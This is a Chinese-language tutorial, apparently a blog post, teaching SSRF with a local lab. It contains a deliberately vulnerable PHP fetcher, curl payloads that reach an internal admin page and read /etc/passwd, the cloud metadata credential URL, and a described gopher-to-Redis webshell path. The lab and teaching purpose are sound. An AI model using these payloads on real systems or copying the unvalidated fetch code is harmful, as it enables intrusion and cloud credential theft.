SSRF 从入门到实战:原理、危害与基础利用

本文为个人学习研究笔记,内容仅用于 SSRF 漏洞原理、复现环境搭建及安全防御技术研讨,所有实验均在自建、拥有完全授权的测试环境中完成。根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制 本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。


0. 先看一个"奇怪"的现象

假设你访问一个正常的网页快照服务,它长这样:

复制代码
你输入一个网址  ──→  服务器帮你抓取这个网址的内容  ──→  返回给你

现在你在输入框里填了一个不是网址的东西,而是服务器自己内部的地址:

复制代码
http://127.0.0.1:18080/admin

结果服务器居然老老实实地把"内部管理后台"的页面内容抓回来、返回给你了:

复制代码
【服务端抓取结果】
            <h1>内部管理后台</h1>
            <p>欢迎回来,管理员。</p>
            <p>当前登录身份:<b>root</b></p>
            <p>内部 API 密钥:<code>flag{SSRF_内网探测_成功_0x7f000001}</code></p>

这里就出现了一个值得你停下来想 30 秒的问题:

这个"内部管理后台",本来应该只有服务器自己(或者内网里的人)才能访问,凭什么你一个外部的普通用户,随便提交一个 URL 就能看到它的内容?

答案就是本篇文章要讲的主角:SSRF(Server-Side Request Forgery,服务端请求伪造)


1. SSRF 到底是什么意思

1.1 一个类比

把"服务器"想象成银行柜台的柜员 ,把"你"想象成站在柜台外的客户

  • 柜台的营业大厅是"外网",谁都能进;

  • 柜台后面的金库是"内网",只有柜员(服务器自己)能进去。

正常业务里,你会说:"柜员,帮我把这张支票兑现。"柜员自己去金库取钱,然后把钱给你。

SSRF 就是:你对柜员说:"柜员,帮我跑一趟金库,把里面那个保险箱里的东西念给我听。"

柜员没有多想,真的进去把保险箱打开,把内容念给你听了。

关键点在于:不是你直接闯进了金库,而是你借了柜员(服务器)的身份和权限,让柜员替你进金库办事。 这中间没有任何"撬锁",因为柜员本来就有金库钥匙。

1.2 正式一点的定义

SSRF 是指:攻击者让服务器对攻击者指定的目标发起请求,而这个目标本来是攻击者无法直接访问的(通常是内网地址、或服务器本机)。

一句话版本:服务器被你当成了"代理",帮你访问它才能访问的地方。

1.3 为什么服务器会这么"听话"?

因为很多正常的业务功能,天然就需要"服务器替用户去访问某个 URL",比如:

业务功能 服务器需要做的事 真实案例场景
网页快照 抓取用户给的 URL 内容 搜索引擎快照、链接预览
图片代理 下载远程图片再展示 很多网站为了避免图片防盗链、做缩略图
文件导入 从 URL 导入文件(如"通过链接导入 Markdown") 在线文档、笔记类产品
远程监控/体检 服务器去 ping/检查某个地址 站长工具、拨测系统
回调通知 服务器主动请求用户填的回调地址 支付回调、Webhook

这些功能有一个共同点:服务器必须信任用户提供的 URL,并去请求它。 一旦开发者没有限制"这个 URL 可以指向哪里",SSRF 就诞生了。

你可能会想:这不就是把用户输入当 URL 去请求吗,为什么这么常见?因为大多数开发者只想到"用户会给我一个正常的网址",没想到"用户会给我一个内网地址或本机地址"。 这属于典型的"信任了不该信任的输入"。


2. 为什么 SSRF 危险?

很多初学者觉得:"不就是让服务器访问一下内网吗,能怎样?"

答案是:能怎样,取决于内网里有什么。 下面按危害从低到高排:

2.1 探测内网存活与端口(信息收集)

攻击者可以让服务器去访问 http://10.0.0.1http://10.0.0.2......根据返回结果的时间差异、报错内容,判断内网有哪些主机、开了哪些端口、跑着什么服务。这是后续攻击的"地图"。

2.2 读取本机或内网的敏感信息

  • file:///etc/passwd 读取服务器本地文件(如果协议没被禁用)

  • 访问内网的监控、后台、数据库管理界面(如 Redis、MySQL 管理台、Docker API 等)

2.3 打内网中"不设防"的服务(高危)

很多内网服务默认只监听 127.0.0.1,且没有密码,因为它们以为"只有本机程序能连我"。典型代表:

  • Redis(默认无密码,可通过 SSRF 的 gopher 协议直接下发命令 → 写 webshell → 拿下服务器)

  • Docker API/var/run/docker.sock

  • 云元数据服务 (AWS/阿里云/腾讯云的 169.254.169.254,能拿到服务器的临时凭据)

这里有一个反直觉的点,值得记住:内网服务"不设防"恰恰是因为它认为攻击者够不着它。 而 SSRF 的价值,就是把"够不着"变成"够得着"。

2.4 攻击云厂商元数据接口(真实高频漏洞)

在公有云上,每台虚拟机都能通过一个魔法 IP 169.254.169.254 访问到"元数据服务",里面有这台机器的 IAM 临时密钥、SSH 公钥、内网 IP 等。如果云上某个应用存在 SSRF,攻击者常常直接:

复制代码
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

拿到临时密钥,进而接管云资源。这是国内外各大 SRC(漏洞众测平台)里 SSRF 最常见、最值钱的利用方式。


3. 靶场

它由三部分组成:

角色 说明 监听地址
漏洞靶机 一个"网页快照/图片代理"服务,存在 SSRF 0.0.0.0:8080(对外)
内网管理后台 持有敏感 flag 的内部服务,只监听 127.0.0.1 127.0.0.1:18080
内网 Redis 无密码的内网数据库,只监听 127.0.0.1 127.0.0.1:6379

关键设定:内网服务和 Redis 都只绑定在 127.0.0.1 上,外部用户直接访问是访问不到的(在真实环境里,它们处于防火墙后的内网)。我们就是要通过漏洞靶机这个"柜员",去够到它们。

3.1 漏洞靶机代码(vuln.php

复制代码
<?php
// 场景1:无任何过滤的抓取(最基础的 SSRF)
if (isset($_GET['fetch'])) {
    $url = $_GET['fetch'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);  // 跟随跳转(伏笔:后面绕过用)
    $res = curl_exec($ch);
    curl_close($ch);
    echo "【服务端抓取结果】\n" . $res;
    exit;
}
?>

这段代码非常"典型":用户输入的 $url 直接被塞进了 curl_setopt(..., CURLOPT_URL, $url),没有任何校验。 这就是 SSRF 的根源。

3.2 内网管理后台代码(internal_admin.py

复制代码
import http.server, socketserver
​
FLAG = "flag{SSRF_内网探测_成功_0x7f000001}"
​
class AdminHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/admin':
            body = f"<h1>内部管理后台</h1>...内部 API 密钥:{FLAG}...".encode('utf-8')
            self.send_response(200)
            # ... 返回 HTML
        # ...
​
# 关键:只绑定 127.0.0.1,模拟"仅内网可访问"
socketserver.TCPServer(("127.0.0.1", 18080), AdminHandler).serve_forever()

注意最后一行:服务只绑定在 127.0.0.1。这意味着在真实网络里,外部用户连 18080 端口都连不上。

3.3 启动靶场

复制代码
# 1. 启动内网管理后台(只监听 127.0.0.1:18080)
python3 internal_admin.py &
​
# 2. 启动无密码 Redis(只监听 127.0.0.1:6379)
redis-server --port 6379 --bind 127.0.0.1 --protected-mode no &
​
# 3. 启动漏洞靶机(监听所有网卡 0.0.0.0:8080)
php -S 0.0.0.0:8080 vuln.php

验证一下:直接 curl http://127.0.0.1:18080/admin 能访问,但从"外部网络"是访问不到的------这就是 SSRF 要跨越的那道墙。


4. 第一次利用:最基础的 SSRF

4.1 正常用法 vs 攻击用法

靶机首页提供了一个表单,输入 URL。正常用户会输入 http://example.com。而攻击者输入的是内网地址

复制代码
curl "http://127.0.0.1:8080/vuln.php?fetch=http://127.0.0.1:18080/admin"

返回:

复制代码
【服务端抓取结果】
​
            <h1>内部管理后台</h1>
            <p>欢迎回来,管理员。</p>
            <p>当前登录身份:<b>root</b></p>
            <p>内部 API 密钥:<code>flag{SSRF_内网探测_成功_0x7f000001}</code></p>

拿到 flag 了。

4.2 这背后发生了什么?(请求链路)

复制代码
你 (外部用户)
   │  发送:fetch=http://127.0.0.1:18080/admin
   ▼
漏洞靶机 (192.168.x.x:8080)   ← 你的请求只到了这一层
   │  靶机自己去请求:http://127.0.0.1:18080/admin
   ▼
内网管理后台 (127.0.0.1:18080)  ← 这一层,你本来够不到
   │  返回:内部 API 密钥 flag{...}
   ▼
漏洞靶机 → 把结果原样返回给你

关键理解 :请求是靶机发出的,不是你的浏览器发出的。所以"谁能访问 127.0.0.1:18080"这个问题上,用的是靶机的身份------靶机当然能访问它自己的 127.0.0.1。

你可能的疑问:127.0.0.1 不是我自己电脑吗?为什么写 127.0.0.1 是访问服务器? 这里要分清"这段 URL 是谁去解析的"。127.0.0.1 这个地址,在靶机的视角 里,指的就是靶机自己。因为最终是靶机去 curl 这个 URL,所以 127.0.0.1 就是"靶机本机"。你的浏览器从没直接请求过 127.0.0.1,它只是把字符串 127.0.0.1 传给了靶机。


5. SSRF 常用协议(由易到难逐个看)

SSRF 的威力很大程度上来自"服务器不止能发 HTTP 请求,还能用别的协议"。我们先认识三个,够用。

5.1 http:// 和 https://(最常用)

就是普通的网页请求,能访问内网任意 HTTP 服务。上面第 4 节用的就是它。

5.2 file://(读本地文件,最直观)

如果开发者的过滤只拦了内网 IP,没拦协议,攻击者可以:

复制代码
curl "http://127.0.0.1:8080/vuln.php?fetch=file:///etc/passwd"

真实返回:

复制代码
【服务端抓取结果】
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

file:///etc/passwd 让服务器把自己本地文件读出来返回给你。危害不言而喻。

你可能的疑问:为什么是三个斜杠 file:/// file:// 后面跟的是文件路径。Unix 的绝对路径本身就是以 / 开头,所以 file:// + /etc/passwd = file:///etc/passwd。中间的 // 是协议分隔符,最后那个 / 是路径开头的斜杠。

5.3 gopher://(最厉害,能"投喂"任意 TCP 数据)

这是 SSRF 进阶的核心,也是下篇的重点。这里先给你一个直觉:

  • http:// 只能发"符合 HTTP 格式"的请求;

  • gopher:// 能让你直接往目标端口塞任意字节_ 后面跟的字节会被原样发过去)。

这意味着:只要内网服务是"发文本/字节就能控制"的协议(比如 Redis、MySQL 的文本协议),gopher 就能直接跟它"对话"。这是 SSRF 从"读数据"升级到"执行命令/写文件"的关键一步。


6. 小结(上篇)

到这里你应该已经掌握:

  1. SSRF 是什么:让服务器替你访问它才能访问的地方(内网/本机/云元数据)。

  2. 为什么会有:业务需要服务器请求用户提供的 URL,而开发者没限制目标。

  3. 危害:探测内网 → 读敏感信息 → 打无密码内网服务 → 拿云凭据。

  4. 第一次利用fetch=http://127.0.0.1:18080/admin 拿到了内网后台的 flag。

  5. 三种协议http(访问网页)、file(读文件)、gopher(投喂任意 TCP 数据)。

下篇预告:真实的漏洞往往不会这么"裸",开发者会加各种过滤(黑名单、白名单、限制协议)。下篇我们讲:

  • 如何绕过 127.0.0.1 黑名单(十六进制、十进制、八进制、302 跳转......)

  • 如何用 gopher:// 真实打穿无密码 Redis,写入 webshell 实现 RCE

  • 完整的攻击链演示 + 防御建议

相关推荐
小小小小钰儿1 小时前
1.2-AI核心理论与术语
人工智能·计算机·网络安全·信息安全·程序员·编程
平原20182 小时前
GPT Image 2 / Nano Banana API成本拆解:$0.0081、84.7%与单张有效成本
linux·服务器·gpt
T1mzhou2 小时前
ARM64 Linux 6.10内核启动流程2-rootfs 怎么挂上
linux·服务器·前端
2301_815091012 小时前
TCP 并发服务器模型:4 种 IO 模型完整梳理
服务器·网络·tcp/ip
斑马1393 小时前
Linux软件编程学习笔记(十二)——TCP并发服务器模型
java·服务器·网络
C+ 安口木3 小时前
Alibaba Cloud Linux 3 服务器环境搭建实战记录
linux·运维·服务器
聚搜云——JuSouClouD3 小时前
杭州腾讯云代理商:腾讯云2核4G服务器够用吗?网站、API和开发测试怎么选
服务器·云计算·腾讯云
zhangguojia74 小时前
权限弹窗点击允许的授权流程
运维·服务器·数据库
AI备忘录4 小时前
(十九)华为华三锐捷迈普思科 交换机链路聚合配置命令(LACP/静态聚合五厂商对照)
运维·服务器·网络·网络协议·tcp/ip·华为